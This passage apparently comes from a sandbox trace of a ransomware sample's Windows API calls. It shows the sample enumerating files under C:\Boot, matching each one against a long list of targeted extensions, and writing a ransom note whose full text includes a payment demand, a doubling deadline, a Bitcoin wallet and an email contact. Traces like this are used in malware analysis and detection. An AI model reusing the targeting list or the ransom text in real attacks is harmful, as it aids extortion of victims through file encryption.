(pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.edb") returned 0 [0057.287] lstrlenA (lpString="*.edb") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.accdb") returned 0 [0057.287] lstrlenA (lpString="*.accdb") returned 7 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.odb") returned 0 [0057.287] lstrlenA (lpString="*.odb") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.java") returned 0 [0057.287] lstrlenA (lpString="*.java") returned 6 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.asm") returned 0 [0057.287] lstrlenA (lpString="*.asm") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.pfx") returned 0 [0057.287] lstrlenA (lpString="*.pfx") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.pem") returned 0 [0057.287] lstrlenA (lpString="*.pem") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.p12") returned 0 [0057.287] lstrlenA (lpString="*.p12") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.gpg") returned 0 [0057.287] lstrlenA (lpString="*.gpg") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.vsd") returned 0 [0057.287] lstrlenA (lpString="*.vsd") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.odg") returned 0 [0057.287] lstrlenA (lpString="*.odg") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.raw") returned 0 [0057.287] lstrlenA (lpString="*.raw") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.nef") returned 0 [0057.287] lstrlenA (lpString="*.nef") returned 5 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.svg") returned 0 [0057.288] lstrlenA (lpString="*.svg") returned 5 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.psd") returned 0 [0057.288] lstrlenA (lpString="*.psd") returned 5 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.vmx") returned 0 [0057.288] lstrlenA (lpString="*.vmx") returned 5 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.vmdk") returned 0 [0057.288] lstrlenA (lpString="*.vmdk") returned 6 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.vdi") returned 0 [0057.288] lstrlenA (lpString="*.vdi") returned 5 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.lay6") returned 0 [0057.288] lstrlenA (lpString="*.lay6") returned 6 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.mpeg") returned 0 [0057.288] lstrlenA (lpString="*.mpeg") returned 6 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.djvu") returned 0 [0057.288] lstrlenA (lpString="*.djvu") returned 6 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.tiff") returned 0 [0057.288] lstrlenA (lpString="*.tiff") returned 6 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.backup") returned 0 [0057.288] lstrlenA (lpString="*.backup") returned 8 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.pdf") returned 0 [0057.288] lstrlenA (lpString="*.pdf") returned 5 [0057.288] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.cert") returned 0 [0057.288] lstrlenA (lpString="*.cert") returned 6 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.docm") returned 0 [0057.289] lstrlenA (lpString="*.docm") returned 6 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.xlsm") returned 0 [0057.289] lstrlenA (lpString="*.xlsm") returned 6 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.dwg") returned 0 [0057.289] lstrlenA (lpString="*.dwg") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.nd") returned 0 [0057.289] lstrlenA (lpString="*.nd") returned 4 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.tlg") returned 0 [0057.289] lstrlenA (lpString="*.tlg") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.lgb") returned 0 [0057.289] lstrlenA (lpString="*.lgb") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.mov") returned 0 [0057.289] lstrlenA (lpString="*.mov") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.xdw") returned 0 [0057.289] lstrlenA (lpString="*.xdw") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.ods") returned 0 [0057.289] lstrlenA (lpString="*.ods") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.wav") returned 0 [0057.289] lstrlenA (lpString="*.wav") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.mp3") returned 0 [0057.289] lstrlenA (lpString="*.mp3") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.aiff") returned 0 [0057.289] lstrlenA (lpString="*.aiff") returned 6 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.flac") returned 0 [0057.289] lstrlenA (lpString="*.flac") returned 6 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.m4a") returned 0 [0057.289] lstrlenA (lpString="*.m4a") returned 5 [0057.289] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.csv") returned 0 [0057.289] lstrlenA (lpString="*.csv") returned 5 [0057.289] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0057.289] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.290] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0057.290] lstrcmpA (lpString1=".", lpString2="fr-FR") returned -1 [0057.290] lstrcmpA (lpString1="..", lpString2="fr-FR") returned -1 [0057.290] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.290] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="fr-FR" | out: lpString1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0057.290] lstrlenA (lpString="C:\\Boot\\fr-FR") returned 13 [0057.290] FindFirstFileA (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.291] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.291] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.291] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.291] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.291] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.291] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.291] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.291] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.291] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.291] PathFindFileNameA (pszPath="C:\\Boot\\fr-FR\\*.*") returned="*.*" [0057.291] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\fr-FR\\" | out: lpString1="C:\\Boot\\fr-FR\\") returned="C:\\Boot\\fr-FR\\" [0057.291] PathAddBackslashA (in: pszPath="C:\\Boot\\fr-FR\\" | out: pszPath="C:\\Boot\\fr-FR\\") returned="" [0057.291] lstrcatA (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\fr-FR\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\fr-FR\\HOW TO DECRYPT FILES.txt" [0057.291] GetFileAttributesA (lpFileName="C:\\Boot\\fr-FR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fr-fr\\how to decrypt files.txt")) returned 0xffffffff [0057.291] CreateFileA (lpFileName="C:\\Boot\\fr-FR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fr-fr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.292] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.292] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.293] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.293] CloseHandle (hObject=0x84) returned 1 [0057.293] lstrcatA (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.293] lstrlenA (lpString="*.ems") returned 5 [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.293] lstrlenA (lpString="*.db") returned 4 [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.293] lstrlenA (lpString="*.dbf") returned 5 [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.293] lstrlenA (lpString="*.myox") returned 6 [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.293] lstrlenA (lpString="*.myo") returned 5 [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.293] lstrlenA (lpString="*.qbw") returned 5 [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.293] lstrlenA (lpString="*.qbb") returned 5 [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.293] lstrlenA (lpString="*.qbm") returned 5 [0057.293] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.294] lstrlenA (lpString="*.qbo") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.294] lstrlenA (lpString="*.qbx") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.294] lstrlenA (lpString="*.qba") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.294] lstrlenA (lpString="*.qby") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.294] lstrlenA (lpString="*.qbj") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.294] lstrlenA (lpString="*.ofx") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.294] lstrlenA (lpString="*.qif") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.294] lstrlenA (lpString="*.mye") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.294] lstrlenA (lpString="*.mbox") returned 6 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.294] lstrlenA (lpString="*.eml") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.294] lstrlenA (lpString="*.pst") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.294] lstrlenA (lpString="*.ost") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.294] lstrlenA (lpString="*.idx") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.294] lstrlenA (lpString="*.dbx") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.294] lstrlenA (lpString="*.sql") returned 5 [0057.294] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.294] lstrlenA (lpString="*.mdb") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.295] lstrlenA (lpString="*.fdb") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.295] lstrlenA (lpString="*.wab") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.295] lstrlenA (lpString="*.dat") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.295] lstrlenA (lpString="*.txt") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.295] lstrlenA (lpString="*.jpeg") returned 6 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.295] lstrlenA (lpString="*.jpg") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.295] lstrlenA (lpString="*.png") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.295] lstrlenA (lpString="*.php") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.295] lstrlenA (lpString="*.cs") returned 4 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.295] lstrlenA (lpString="*.cpp") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.295] lstrlenA (lpString="*.rar") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.295] lstrlenA (lpString="*.zip") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.295] lstrlenA (lpString="*.html") returned 6 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.295] lstrlenA (lpString="*.htm") returned 5 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.295] lstrlenA (lpString="*.xlsx") returned 6 [0057.295] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.295] lstrlenA (lpString="*.xls") returned 5 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.296] lstrlenA (lpString="*.mp4") returned 5 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.296] lstrlenA (lpString="*.ppt") returned 5 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.296] lstrlenA (lpString="*.pptx") returned 6 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.296] lstrlenA (lpString="*.doc") returned 5 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.296] lstrlenA (lpString="*.dot") returned 5 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.296] lstrlenA (lpString="*.docx") returned 6 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.296] lstrlenA (lpString="*.7z") returned 4 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.296] lstrlenA (lpString="*.tar") returned 5 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.296] lstrlenA (lpString="*.bz2") returned 5 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.296] lstrlenA (lpString="*.gz") returned 4 [0057.296] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.296] lstrlenA (lpString="*.mkv") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.297] lstrlenA (lpString="*.eml") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.297] lstrlenA (lpString="*.msg") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.297] lstrlenA (lpString="*.edb") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.297] lstrlenA (lpString="*.accdb") returned 7 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.297] lstrlenA (lpString="*.odb") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.297] lstrlenA (lpString="*.java") returned 6 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.297] lstrlenA (lpString="*.asm") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.297] lstrlenA (lpString="*.pfx") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.297] lstrlenA (lpString="*.pem") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.297] lstrlenA (lpString="*.p12") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.297] lstrlenA (lpString="*.gpg") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.297] lstrlenA (lpString="*.vsd") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.297] lstrlenA (lpString="*.odg") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.297] lstrlenA (lpString="*.raw") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.297] lstrlenA (lpString="*.nef") returned 5 [0057.297] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.297] lstrlenA (lpString="*.svg") returned 5 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.298] lstrlenA (lpString="*.psd") returned 5 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.298] lstrlenA (lpString="*.vmx") returned 5 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.298] lstrlenA (lpString="*.vmdk") returned 6 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.298] lstrlenA (lpString="*.vdi") returned 5 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.298] lstrlenA (lpString="*.lay6") returned 6 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.298] lstrlenA (lpString="*.mpeg") returned 6 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.298] lstrlenA (lpString="*.djvu") returned 6 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.298] lstrlenA (lpString="*.tiff") returned 6 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.298] lstrlenA (lpString="*.backup") returned 8 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.298] lstrlenA (lpString="*.pdf") returned 5 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.298] lstrlenA (lpString="*.cert") returned 6 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.298] lstrlenA (lpString="*.docm") returned 6 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.298] lstrlenA (lpString="*.xlsm") returned 6 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.298] lstrlenA (lpString="*.dwg") returned 5 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.298] lstrlenA (lpString="*.nd") returned 4 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.298] lstrlenA (lpString="*.tlg") returned 5 [0057.298] 